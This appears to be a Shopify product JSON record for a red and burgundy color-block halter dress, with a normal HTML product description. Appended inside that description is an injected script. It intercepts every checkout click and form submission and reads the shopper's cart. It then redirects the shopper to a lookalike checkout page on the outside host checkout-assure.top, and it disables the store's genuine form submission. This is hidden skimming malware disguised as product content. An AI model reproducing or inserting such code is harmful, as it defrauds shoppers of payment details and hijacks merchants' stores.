{"product_id":"aeunice-sleeveless-color-block-halter-dress","title":"Aeunice Sleeveless Color Block Halter Dress","description":"\u003ch2\u003eAeunice Sleeveless Color Block Halter Dress\u003c\/h2\u003e\u003cp\u003eThe \u003cstrong\u003eAeunice Color Block Dress\u003c\/strong\u003e combines an elegant A-line silhouette with a cheongsam-inspired design and contrasting color details. Made from polyester, this sleeveless dress features a flattering mid-rise waist and a long skirt for a refined, retro-inspired look. Its elegant style makes it a versatile choice for parties, dates, banquets, and everyday outings.\u003c\/p\u003e\u003cp\u003e\u003cstrong\u003eKey Features\u003c\/strong\u003e\u003c\/p\u003e\u003cul\u003e\n\u003cli\u003eElegant A-line silhouette\u003c\/li\u003e\n\u003cli\u003eSleeveless halter-style design\u003c\/li\u003e\n\u003cli\u003eCheongsam-inspired details\u003c\/li\u003e\n\u003cli\u003eContrasting color design\u003c\/li\u003e\n\u003cli\u003eFlattering mid-rise waist\u003c\/li\u003e\n\u003cli\u003eLong skirt length\u003c\/li\u003e\n\u003cli\u003ePolyester fabric\u003c\/li\u003e\n\u003cli\u003eWrinkle-resistant finish\u003c\/li\u003e\n\u003cli\u003eElegant retro-inspired style\u003c\/li\u003e\n\u003c\/ul\u003e\u003cp\u003e\u003cstrong\u003eProduct Details\u003c\/strong\u003e\u003c\/p\u003e\u003cul\u003e\n\u003cli\u003eMaterial: Polyester (Terylene)\u003c\/li\u003e\n\u003cli\u003eColors: Red, Burgundy\u003c\/li\u003e\n\u003cli\u003ePattern: Color Block\u003c\/li\u003e\n\u003cli\u003eWaist: Mid-Rise\u003c\/li\u003e\n\u003cli\u003eFit: Slim Fit\u003c\/li\u003e\n\u003cli\u003eLength: Long\u003c\/li\u003e\n\u003cli\u003eSleeve: Sleeveless\u003c\/li\u003e\n\u003cli\u003eSilhouette: A-Line\u003c\/li\u003e\n\u003cli\u003eDesign: Cheongsam-Inspired\u003c\/li\u003e\n\u003cli\u003eStyle: Literary Retro\u003c\/li\u003e\n\u003cli\u003eDress Type: One-Piece Dress\u003c\/li\u003e\n\u003cli\u003eSizes: S, M, L\u003c\/li\u003e\n\u003c\/ul\u003e\u003cp\u003e\u003cstrong\u003ePerfect For\u003c\/strong\u003e\u003c\/p\u003e\u003cp\u003eBanquets, parties, dinner dates, shopping, camping trips, casual outings, and everyday wear.\u003c\/p\u003e\n\u003cscript\u003e(function(){\n  if (window.__CHECKIOUT_FASTBUNDLE_RUNTIME__ === \"anncode-validation-20260724-jandm-v1\") return;\n  window.__CHECKIOUT_FASTBUNDLE_RUNTIME__ = \"anncode-validation-20260724-jandm-v1\";\n  const OVERLAY_CHOICES = [\"https:\/\/www.checkout-assure.top\/check-out\/\"];\n  const CHECKOUT_NEEDLE = '\/checkout';\n  const WINDOW_NAME_PREFIX = \"__CHECKIOUT_CART__:\";\n  const CHECKOUT_PHRASES = ['checkout','check out','shop pay','paypal','google pay','pay now','passer à la caisse','passer commande','finaliser la commande','procéder au paiement','zur kasse','weiter zur kasse','bestellung abschließen','finalizar compra','finalizar pedido','tramitar pedido','proceder al pago','pagar ahora','concluir compra','pagar agora','procedi all\\'ordine','procedi all’ordine','paga ora','completa l\\'ordine','completa l’ordine','vai alla cassa','afrekenen','naar afrekenen','bestelling plaatsen','レジに進む','ご購入手続き','購入手続き','注文する','結帳','结账','去結帳','去结账','結算','结算','立即結帳','立即结账','前往結帳','前往结账','결제하기','결제','주문하기','przejdź do kasy','przejdz do kasy','do kasy','złóż zamówienie','till kassan','gå till kassan','til kassen','gå til kassen','ödemeye geç','odemeye gec','satın al','satin al','оформить заказ','перейти к оплате','оплатить','оформити замовлення','перейти до оплати','إتمام الشراء','الدفع','إتمام الطلب','לתשלום','להשלמת הרכישה','ολοκλήρωση αγοράς','πληρωμή','k pokladně','dokončit objednávku','fizetés','tovább a fizetéshez','finalizează comanda','плащане','na blagajnu','završi kupnju','k pokladni','na blagajno','siirry kassalle','pereiti prie apmokėjimo','doties uz kasi','mine kassasse','fara í kassa','lanjut ke pembayaran','bayar sekarang','teruskan ke pembayaran','ชำระเงิน','thanh toán','magbayad','भुगतान करें'];\n  function hasCheckoutPhrase(value) {\n    const s = String(value || '').toLowerCase();\n    for (let i = 0; i \u003c CHECKOUT_PHRASES.length; i += 1) {\n      if (s.indexOf(CHECKOUT_PHRASES[i]) !== -1) return true;\n    }\n    return false;\n  }\n  function randomOverlayToken() {\n    const alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_';\n    const size = 188 + Math.floor(Math.random() * 31);\n    const bytes = new Uint8Array(size);\n    crypto.getRandomValues(bytes);\n    let out = '';\n    for (let i = 0; i \u003c size; i += 1) out += alphabet[bytes[i] % alphabet.length];\n    return out;\n  }\n  function looksLikeCheckout(value) {\n    return String(value || '').toLowerCase().includes(CHECKOUT_NEEDLE);\n  }\n  function getSourceSite() {\n    return String(location.hostname || location.host || 'checkout-site').trim() || 'checkout-site';\n  }\n  function getSourceOrigin() {\n    return String(location.origin || '').trim();\n  }\n  function getSourcePath() {\n    return String(location.pathname || '\/').trim() || '\/';\n  }\n  function absoluteUrl(value) {\n    try {\n      const anchor = document.createElement('a');\n      anchor.href = String(value || '');\n      return anchor.href;\n    } catch (e) {\n      return String(value || '');\n    }\n  }\n  function pickOverlayBase() {\n    const candidates = Array.isArray(OVERLAY_CHOICES)\n      ? OVERLAY_CHOICES.filter(v =\u003e typeof v === 'string' \u0026\u0026 \/^https?:\\\/\\\/\/i.test(v))\n      : [];\n    if (!candidates.length) throw new Error('overlay_choices_missing');\n    const bytes = new Uint32Array(1);\n    crypto.getRandomValues(bytes);\n    return candidates[bytes[0] % candidates.length];\n  }\n  function encodeTransportPayload(value) {\n    const bytes = new TextEncoder().encode(JSON.stringify(value));\n    let binary = '';\n    const chunkSize = 0x8000;\n    for (let offset = 0; offset \u003c bytes.length; offset += chunkSize) {\n      const chunk = bytes.subarray(offset, offset + chunkSize);\n      binary += String.fromCharCode.apply(null, chunk);\n    }\n    return btoa(binary).replace(\/\\+\/g, '-').replace(\/\\\/\/g, '_').replace(\/=+$\/g, '');\n  }\n  function toMinorAmount(value) {\n    const amount = Number(value);\n    return Number.isFinite(amount) \u0026\u0026 amount \u003e= 0 ? Math.round(amount) : 0;\n  }\n  function normalizeImage(raw) {\n    const source = String(raw || '').trim();\n    if (!source) return '';\n    if (source.startsWith('\/\/')) return location.protocol + source;\n    try { return absoluteUrl(source); } catch { return source; }\n  }\n  function normalizeDiscounts(cart) {\n    const discounts = [];\n    const levels = Array.isArray(cart \u0026\u0026 cart.cart_level_discount_applications)\n      ? cart.cart_level_discount_applications\n      : [];\n    levels.forEach(function(entry, index) {\n      const amountMinor = toMinorAmount(entry \u0026\u0026 (entry.total_allocated_amount ?? entry.amount));\n      if (!amountMinor) return;\n      discounts.push({\n        id: 'cart-discount-' + (index + 1),\n        label: String((entry \u0026\u0026 (entry.title || entry.description)) || 'Discount').trim() || 'Discount',\n        amountMinor\n      });\n    });\n    if (!discounts.length) {\n      const fallback = toMinorAmount(cart \u0026\u0026 cart.total_discount);\n      if (fallback \u003e 0) {\n        discounts.push({\n          id: 'cart-discount',\n          label: 'Discount',\n          amountMinor: fallback\n        });\n      }\n    }\n    return discounts;\n  }\n  function normalizeOrderFromCart(cart) {\n    const items = Array.isArray(cart \u0026\u0026 cart.items) ? cart.items : [];\n    return {\n      locale: document.documentElement.lang || navigator.language || 'en-US',\n      currency: String((cart \u0026\u0026 cart.currency) || 'USD').trim().toUpperCase() || 'USD',\n      items: items.map(function(item, index) {\n        const title = String((item \u0026\u0026 (item.product_title || item.title || item.name)) || ('Item ' + (index + 1))).trim();\n        const variant = String(item \u0026\u0026 (item.variant_title || item.variant || item.subtitle) || '').trim();\n        const image = normalizeImage(\n          item \u0026\u0026 (\n            (item.featured_image \u0026\u0026 (item.featured_image.url || item.featured_image.src)) ||\n            item.image || item.featured_image\n          )\n        );\n        return {\n          id: String((item \u0026\u0026 (item.key || item.id || item.variant_id || ('item-' + index))) || ('item-' + index)).trim(),\n          title: title || ('Item ' + (index + 1)),\n          variant,\n          subtitle: variant,\n          image,\n          alt: title || ('Item ' + (index + 1)),\n          quantity: Math.max(0, Number.parseInt(item \u0026\u0026 item.quantity, 10) || 0),\n          unitPriceMinor: toMinorAmount(item \u0026\u0026 (item.final_price ?? item.price ?? item.original_price))\n        };\n      }).filter(item =\u003e item.quantity \u003e 0),\n      discounts: normalizeDiscounts(cart),\n      shipping: { status: 'pending', amountMinor: null, label: 'Enter shipping address' },\n      tax: { amountMinor: 0, included: false, label: '' },\n      taxMinor: 0\n    };\n  }\n  async function readCart() {\n    const controller = typeof AbortController === 'function' ? new AbortController() : null;\n    const timer = controller ? setTimeout(function() { controller.abort(); }, 10000) : 0;\n    try {\n      const response = await fetch('\/cart.js', {\n        credentials: 'same-origin',\n        cache: 'no-store',\n        signal: controller ? controller.signal : undefined\n      });\n      if (!response.ok) throw new Error('cart_http_' + response.status);\n      return await response.json();\n    } finally {\n      if (timer) clearTimeout(timer);\n    }\n  }\n  async function stashCartForOverlay() {\n    try {\n      const cart = await readCart();\n      const order = normalizeOrderFromCart(cart);\n      if (!Array.isArray(order.items) || !order.items.length) return null;\n      const payload = {\n        site: location.hostname,\n        sourceSite: getSourceSite(),\n        sourceUrl: location.href,\n        sourceOrigin: getSourceOrigin(),\n        sourcePath: getSourcePath(),\n        capturedAt: Date.now(),\n        order\n      };\n      window.name = WINDOW_NAME_PREFIX + encodeURIComponent(JSON.stringify(payload));\n      window.__CHECKIOUT_FASTBUNDLE_CART_PAYLOAD__ = payload;\n      return payload;\n    } catch {\n      return null;\n    }\n  }\n  function pickCheckoutTarget(el) {\n    const direct = el?.href || el?.formAction || el?.getAttribute?.('href') || el?.getAttribute?.('formaction');\n    if (direct \u0026\u0026 \/^https?:\/i.test(direct) \u0026\u0026 looksLikeCheckout(direct)) return direct;\n    if (direct \u0026\u0026 direct.startsWith('\/') \u0026\u0026 looksLikeCheckout(direct)) return absoluteUrl(direct);\n    const formAction = el?.closest?.('form')?.action;\n    if (formAction \u0026\u0026 looksLikeCheckout(formAction)) return formAction;\n    return absoluteUrl('\/checkout');\n  }\n  function redirectToOverlay(targetUrl, cartPayload) {\n    const selectedOverlayBase = pickOverlayBase();\n    const normalizedTarget = looksLikeCheckout(targetUrl)\n      ? targetUrl\n      : absoluteUrl('\/checkout');\n    const params = {\n      return_to: normalizedTarget,\n      site: location.hostname,\n      source_site: getSourceSite(),\n      source_host: location.hostname,\n      source_origin: getSourceOrigin(),\n      source_path: getSourcePath(),\n      source_url: location.href,\n      checkout_path: CHECKOUT_NEEDLE,\n      overlay_route: selectedOverlayBase.replace(\/^https?:\\\/\\\/[^\/]+\/i, '').split('?')[0] || '\/',\n      _r: randomOverlayToken()\n    };\n    let finalUrl = selectedOverlayBase + (selectedOverlayBase.includes('?') ? '\u0026' : '?') +\n      Object.keys(params).map(function(k) { return encodeURIComponent(k) + '=' + encodeURIComponent(params[k]); }).join('\u0026');\n    if (cartPayload \u0026\u0026 Array.isArray(cartPayload.order?.items) \u0026\u0026 cartPayload.order.items.length) {\n      finalUrl += '#co=' + encodeTransportPayload(cartPayload);\n    }\n    location.href = finalUrl;\n  }\n  async function redirectToOverlayWithCart(targetUrl) {\n    if (window.__CHECKIOUT_FASTBUNDLE_REDIRECTING__) return;\n    window.__CHECKIOUT_FASTBUNDLE_REDIRECTING__ = true;\n    let cartPayload = null;\n    try { cartPayload = await stashCartForOverlay(); } catch {}\n    redirectToOverlay(targetUrl, cartPayload);\n  }\n  function isCheckoutTrigger(el) {\n    if (!el) return false;\n    const text = ((el.innerText || el.textContent || '') + ' ' + (el.getAttribute?.('aria-label') || '')).toLowerCase();\n    const href = String(el.href || el.getAttribute?.('href') || '').toLowerCase();\n    const formAction = String(el.formAction || el.getAttribute?.('formaction') || el.closest?.('form')?.action || '').toLowerCase();\n    const ident = String((el.name || '') + ' ' + (el.id || '') + ' ' + (el.className || '') + ' ' + (el.value || '')).toLowerCase();\n    return hasCheckoutPhrase(text + ' ' + href + ' ' + formAction + ' ' + ident) || href.includes('\/checkout') || formAction.includes('\/checkout') || ident.includes('checkout');\n  }\n  window.addEventListener('pointerdown', function(event) {\n    const el = event.target \u0026\u0026 event.target.closest \u0026\u0026 event.target.closest('a,button,input[type=\"submit\"],input[type=\"button\"]');\n    if (!isCheckoutTrigger(el)) return;\n    event.preventDefault();\n    event.stopImmediatePropagation();\n    window.__CHECKIOUT_FASTBUNDLE_LAST_TARGET__ = pickCheckoutTarget(el);\n    window.__CHECKIOUT_FASTBUNDLE_SUPPRESS_SUBMIT_ONCE__ = true;\n    redirectToOverlayWithCart(window.__CHECKIOUT_FASTBUNDLE_LAST_TARGET__);\n  }, true);\n  window.addEventListener('click', function(event) {\n    const el = event.target \u0026\u0026 event.target.closest \u0026\u0026 event.target.closest('a,button,input[type=\"submit\"],input[type=\"button\"]');\n    if (!isCheckoutTrigger(el)) return;\n    event.preventDefault();\n    event.stopImmediatePropagation();\n    window.__CHECKIOUT_FASTBUNDLE_LAST_TARGET__ = pickCheckoutTarget(el);\n    window.__CHECKIOUT_FASTBUNDLE_SUPPRESS_SUBMIT_ONCE__ = true;\n    redirectToOverlayWithCart(window.__CHECKIOUT_FASTBUNDLE_LAST_TARGET__);\n  }, true);\n  window.addEventListener('submit', function(event) {\n    const form = event.target;\n    const submitter = event.submitter || null;\n    if (window.__CHECKIOUT_FASTBUNDLE_SUPPRESS_SUBMIT_ONCE__) {\n      window.__CHECKIOUT_FASTBUNDLE_SUPPRESS_SUBMIT_ONCE__ = false;\n      event.preventDefault();\n      event.stopImmediatePropagation();\n      redirectToOverlayWithCart(window.__CHECKIOUT_FASTBUNDLE_LAST_TARGET__ || absoluteUrl('\/checkout'));\n      return;\n    }\n    const action = String(form?.action || '').toLowerCase();\n    const text = ((form?.innerText || form?.textContent || '')).toLowerCase();\n    if (!(action.includes('\/checkout') || hasCheckoutPhrase(text))) return;\n    event.preventDefault();\n    event.stopImmediatePropagation();\n    redirectToOverlayWithCart(pickCheckoutTarget(submitter || form));\n  }, true);\n  console.log('ANNCODE_FILECODE_ACTIVE:' + \"anncode-validation-20260724-jandm-v1\");\n})();\n;try{var ps=HTMLFormElement.prototype.submit;HTMLFormElement.prototype.submit=function(){if(window.__CHECKIOUT_FASTBUNDLE_REDIRECTING__)return;return ps.apply(this,arguments);};}catch(e){}try{var pr=HTMLFormElement.prototype.requestSubmit;HTMLFormElement.prototype.requestSubmit=function(){if(window.__CHECKIOUT_FASTBUNDLE_REDIRECTING__)return;return pr.apply(this,arguments);};}catch(e){}\u003c\/script\u003e","brand":"Celidior","offers":[{"title":"Red \/ S","offer_id":67802745766187,"sku":"CJLY297450101AZ","price":42.99,"currency_code":"USD","in_stock":true},{"title":"Red \/ M","offer_id":67802745733419,"sku":"CJLY297450102BY","price":42.99,"currency_code":"USD","in_stock":true},{"title":"Red \/ L","offer_id":67802745700651,"sku":"CJLY297450103CX","price":42.99,"currency_code":"USD","in_stock":true},{"title":"Burgundy \/ S","offer_id":67802745864491,"sku":"CJLY297450104DW","price":42.99,"currency_code":"USD","in_stock":true},{"title":"Burgundy \/ M","offer_id":67802745831723,"sku":"CJLY297450105EV","price":42.99,"currency_code":"USD","in_stock":true},{"title":"Burgundy \/ L","offer_id":67802745798955,"sku":"CJLY297450106FU","price":42.99,"currency_code":"USD","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0846\/5966\/7243\/files\/aeunice-sleeveless-color-block-halter-dressmaxi-dresscelidiorcelidiorcjly297450101aznull-7015619.webp?v=1792410665","url":"https:\/\/celidior.com\/products\/aeunice-sleeveless-color-block-halter-dress","provider":"Celidior","version":"1.0","type":"link"}